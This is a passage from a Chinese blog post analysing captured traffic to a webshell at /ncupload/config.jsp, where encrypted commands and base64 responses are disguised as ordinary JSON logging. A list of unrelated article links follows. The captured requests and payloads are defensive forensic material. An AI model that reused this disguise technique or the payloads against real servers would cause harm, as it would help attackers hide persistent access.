我们可以看到,返回值就是一个比较伪装的好的报文

分析到这里,本以为已经分析完善了,可是当我们继续查看流量包的时候,发现并没有那么简单,当我们对他的流量进行重新解密的时候,按理说,可以正常解码,而且返回值应该差别不多,但是实际上,解码出来并不是class,而是乱码

POST /ncupload/config.jsp HTTP/1.1
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Cookie: JSESSIONID=A891C7D63F7AA47F7BB3B7089E134B55.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host: 
Content-Length: 208
{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"26426ac13be6e1b58c69fd371bac6de05031411e180aefaba292f681d82e4080931feb534693d2267c5d1940e676a29e"}HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Type: application/json;charset=UTF-8
Content-Length: 290
Date: Mon, 25 Jul 2022 11:16:23 GMT
Connection: close
{"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmkzSNR3IziwHfy4+8Q7p37h/TbEBuDTY/h8uggW9zZaqXH9R9/m1YziyH","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}
POST /ncupload/config.jsp HTTP/1.1
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Cookie: JSESSIONID=A891C7D63F7AA47F7BB3B7089E134B55.server
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host:
Content-Length: 272
{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"26426ac13be6e1b58c69fd371bac6de0fad0fe6b3a09096af4f5d283d62f6adf581152788ec510921bb0f8e271590c9b847a8b3bde605fb0556665cb8df1041000d9cec2789b0f2d5cc4dc3c69ca3811"}HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Type: application/json;charset=UTF-8
Content-Length: 4154
Date: Mon, 25 Jul 2022 11:16:23 GMT
Connection: close
{"code":0,"data":{"suggestItems":[],"global":"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
5AIKxy1e57fHrACOQkZBwMYXKQXaFw==","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}



相关文章
|
10天前
|
存储 安全 Java
synchronized原理-字节码分析、对象内存结构、锁升级过程、Monitor
本文分析的问题: 1. synchronized 字节码文件分析之 monitorenter、monitorexit 指令 2. 为什么任何一个Java对象都可以成为一把锁? 3. 对象的内存结构 4. 锁升级过程 (无锁、偏向锁、轻量级锁、重量级锁) 5. Monitor 是什么、源码查看(hotspot虚拟机源码) 6. JOL工具使用
|
3天前
|
Java
堆内存的溢出案例分析
堆内存的溢出案例分析
4 0
|
3天前
|
JSON 数据管理 测试技术
自动化测试工具Selenium Grid的深度应用分析深入理解操作系统的内存管理
【5月更文挑战第28天】随着互联网技术的飞速发展,软件测试工作日益复杂化,传统的手工测试已无法满足快速迭代的需求。自动化测试工具Selenium Grid因其分布式执行特性而受到广泛关注。本文旨在深入剖析Selenium Grid的工作原理、配置方法及其在复杂测试场景中的应用优势,为测试工程师提供高效测试解决方案的参考。
|
17天前
|
存储 Arthas 监控
JVM工作原理与实战(三十):堆内存状况的对比分析
JVM作为Java程序的运行环境,其负责解释和执行字节码,管理内存,确保安全,支持多线程和提供性能监控工具,以及确保程序的跨平台运行。本文主要介绍了堆内存状况的对比分析、产生内存溢出的原因等内容。
16 0
|
17天前
|
缓存 Linux
linux性能分析之内存分析(free,vmstat,top,ps,pmap等工具使用介绍)
这些工具可以帮助你监视系统的内存使用情况、识别内存泄漏、找到高内存消耗的进程等。根据具体的问题和需求,你可以选择使用其中一个或多个工具来进行内存性能分析。注意,内存分析通常需要综合考虑多个指标和工具的输出,以便更好地理解系统的行为并采取相应的优化措施。
41 6
|
17天前
|
机器学习/深度学习 分布式计算 数据处理
Spark是一个基于内存的通用数据处理引擎,可以进行大规模数据处理和分析
【5月更文挑战第2天】Spark是一个基于内存的通用数据处理引擎,可以进行大规模数据处理和分析
29 3
|
17天前
|
监控 算法 测试技术
【Go语言专栏】Go语言的性能优化与内存分析
【4月更文挑战第30天】本文探讨了Go语言的性能优化策略和内存分析方法。性能优化原则包括基准测试、分析瓶颈、避免过早优化和持续监控。优化策略涉及减少内存分配、避免内存逃逸、利用并发、优化算法和数据结构以及减少系统调用。内存分析借助于Go的`pprof`工具、内存分配跟踪和第三方工具,以发现内存泄漏和管理问题。通过这些方法,开发者能提升Go程序效率和资源利用率。
|
17天前
|
缓存 Java Android开发
安卓开发中的内存泄漏分析与优化策略
【4月更文挑战第27天】 在移动应用开发领域,性能优化始终是提升用户体验的关键因素之一。特别是对于安卓平台,由于设备的硬件配置差异较大,良好的内存管理对于保证应用流畅运行尤为重要。本文将深入探讨安卓开发中常见的内存泄漏问题,并提供一系列检测和解决内存泄漏的实用策略。通过对工具的使用、代码实践以及系统架构设计的多维度分析,旨在帮助开发者有效避免和处理内存泄漏,确保应用性能稳定。
|
17天前
|
Java
【Java基础】面向对象和内存分析
【Java基础】面向对象和内存分析
22 0
|
17天前
|
存储 Java Shell
Android系统 实现低内存白名单防LMK原理分析
Android系统 实现低内存白名单防LMK原理分析
64 0